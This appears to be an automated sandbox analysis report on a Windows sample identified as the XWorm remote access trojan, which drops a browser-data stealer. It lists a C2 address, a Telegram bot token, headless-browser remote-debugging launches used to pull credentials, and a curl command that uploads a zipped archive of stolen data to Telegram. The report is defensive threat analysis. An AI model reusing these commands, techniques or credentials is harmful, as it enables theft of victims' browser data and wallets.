Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251231-en
  • resource tags

    arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/01/2026, 15:12

General

  • Target
    Output.exe
  • Size 3.1MB
  • Sample260112-slmc4afs6e
  • SHA256 862d4d731b448e3fcc22f80f87e4710b89bafa3bb40eb8fa24414d976d7147d4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 101.99.91.150:56001

Mutex
  • XKLpARFsbWSHuECD

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

  • telegram

    https://api.telegram.org/bot8098079243:AAGB6E_Jm4fDcCKAE3yuQ12XJEr1Lu-oGCo/sendMessage?chat_id=6322330661

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Uses browser remote debugging 2 TTPs 7 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Output.exe
    "C:\Users\Admin\AppData\Local\Temp\Output.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4976
    • C:\Users\Admin\AppData\Roaming\Sryxen-Stealer-Rewrite.exe
      "C:\Users\Admin\AppData\Roaming\Sryxen-Stealer-Rewrite.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5480
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=33587 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
        3⤵
        • Uses browser remote debugging
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:416
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ff81e5cc728,0x7ff81e5cc734,0x7ff81e5cc740
          4⤵
            PID:5892
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=1736 /prefetch:2
            4⤵
              PID:5400
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=1868 /prefetch:11
              4⤵
              • System Time Discovery
              PID:240
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2148 /prefetch:13
              4⤵
                PID:236
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=33587 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2876 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:4168
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=33587 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=2880 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:5100
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=33587 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=3668 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:2244
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1740,i,8627172588723564639,9570136356261794664,262144 --disable-features=PaintHolding --variations-seed-version=20251219-070015.367000 --mojo-platform-channel-handle=4636 /prefetch:14
                4⤵
                  PID:1692
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --remote-debugging-port=41233 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
                3⤵
                • Uses browser remote debugging
                • Drops file in Windows directory
                • Enumerates system info in registry
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:3848
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x2e4,0x7ff80a77c188,0x7ff80a77c194,0x7ff80a77c1a0
                  4⤵
                    PID:2216
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2008 /prefetch:2
                    4⤵
                      PID:4336
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:11
                      4⤵
                      • System Time Discovery
                      PID:2104
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:13
                      4⤵
                        PID:4044
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=41233 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
                        4⤵
                        • Uses browser remote debugging
                        PID:5464
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=41233 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2012,i,7823125924497546477,17027904394734789849,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
                        4⤵
                        • Uses browser remote debugging
                        PID:5736
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command Compress-Archive -Path "C:\Users\Admin\AppData\Local\Temp\Sryxen" -DestinationPath "C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip" >nul 2>&1
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3652
                    • C:\Windows\SYSTEM32\curl.exe
                      curl -F "chat_id=6322330661" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip\"" -F "caption=DIR: Cryptowallets Games Socials VPN " https://api.telegram.org/bot8098079243:AAGB6E_Jm4fDcCKAE3yuQ12XJEr1Lu-oGCo/sendDocument
                      3⤵
                        PID:2288
                    • C:\Users\Admin\AppData\Roaming\XClient.exe
                      "C:\Users\Admin\AppData\Roaming\XClient.exe"
                      2⤵
                      • Drops startup file
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:5116
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:2456
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:1584
                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                        1⤵
                          PID:1480

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              BookmarkMergedSurfaceOrdering

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                              • Size 6B
                              • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                              • MD5 SHA1 SHA512

                              SCT Auditing Pending Reports

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                              • Size 2B
                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                              • MD5 SHA1 SHA512

                              CURRENT

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\CURRENT
                              • Size 16B
                              • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                              • MD5 SHA1 SHA512

                              MANIFEST-000001

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\MANIFEST-000001
                              • Size 41B
                              • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                              • MD5 SHA1 SHA512

                              Last Browser

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser
                              • Size 106B
                              • SHA256 3615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
                              • MD5 SHA1 SHA512 TLSH

                              Last Version

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                              • Size 13B
                              • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                              • MD5 SHA1 SHA512

                              Local State

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                              • Size 84KB
                              • SHA256 ba4de0bd693ad50228cfad997fcd53bf57711d36d523dee78d2a0b62fc9df031
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              settings.dat

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                              • Size 280B
                              • SHA256 7cddddf659a2b6181ac6429aa54fdf5b35c8aca8100eed5d090ef52054680872
                              • MD5 SHA1 SHA512 TLSH

                              settings.dat

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                              • Size 280B
                              • SHA256 20728939d3c5c74b053d9f1e4af3ae04bb86a410b7497ab28f4f70b6fa155fe9
                              • MD5 SHA1 SHA512 TLSH

                              Last Version

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
                              • Size 14B
                              • SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
                              • MD5 SHA1 SHA512

                              f831c489-1dc9-4a07-a8d0-9f5f2a8ba340.tmp

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\f831c489-1dc9-4a07-a8d0-9f5f2a8ba340.tmp
                              • Size 22KB
                              • SHA256 e5c2d3e75b865ba12bb05b3a4a1af7950987fee561c5b2043e1f5c3343de69cc
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              DgUKGzS.db

                              • Path C:\Users\Admin\AppData\Local\Temp\DgUKGzS.db
                              • Size 40KB
                              • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              JQ8Vop5.db

                              • Path C:\Users\Admin\AppData\Local\Temp\JQ8Vop5.db
                              • Size 56KB
                              • SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              __PSScriptPolicyTest_zgj4x55b.skf.ps1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgj4x55b.skf.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              Sryxen-Stealer-Rewrite.exe

                              • Path C:\Users\Admin\AppData\Roaming\Sryxen-Stealer-Rewrite.exe
                              • Size 3.0MB
                              • SHA256 883599a3749b9520e3b05864cc1dbac97580dc9ff11282ef51576d0f40c19391
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              XClient.exe

                              • Path C:\Users\Admin\AppData\Roaming\XClient.exe
                              • Size 38KB
                              • SHA256 567e360f63eab22370db879e1590b793c7be039bfc6267a50aaa56a023e4a561
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3652-262-0x0000019F2B820000-0x0000019F2B842000-memory.dmp

                              memory/3652-270-0x0000019F45740000-0x0000019F4575C000-memory.dmp

                              memory/3652-271-0x0000019F45760000-0x0000019F45813000-memory.dmp

                              memory/3652-272-0x0000019F45510000-0x0000019F4551A000-memory.dmp

                              memory/4976-0-0x0000000000AE0000-0x0000000000DF4000-memory.dmp

                              memory/5116-21-0x0000000000EF0000-0x0000000000F00000-memory.dmp